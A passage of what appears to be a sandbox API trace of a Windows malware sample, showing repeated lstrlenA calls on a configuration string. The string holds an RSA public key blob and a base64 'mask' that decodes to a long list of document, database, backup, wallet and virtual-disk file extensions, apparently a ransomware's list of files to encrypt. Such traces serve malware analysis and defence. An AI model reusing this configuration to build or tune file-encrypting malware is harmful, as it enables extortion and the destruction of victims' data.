C5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhs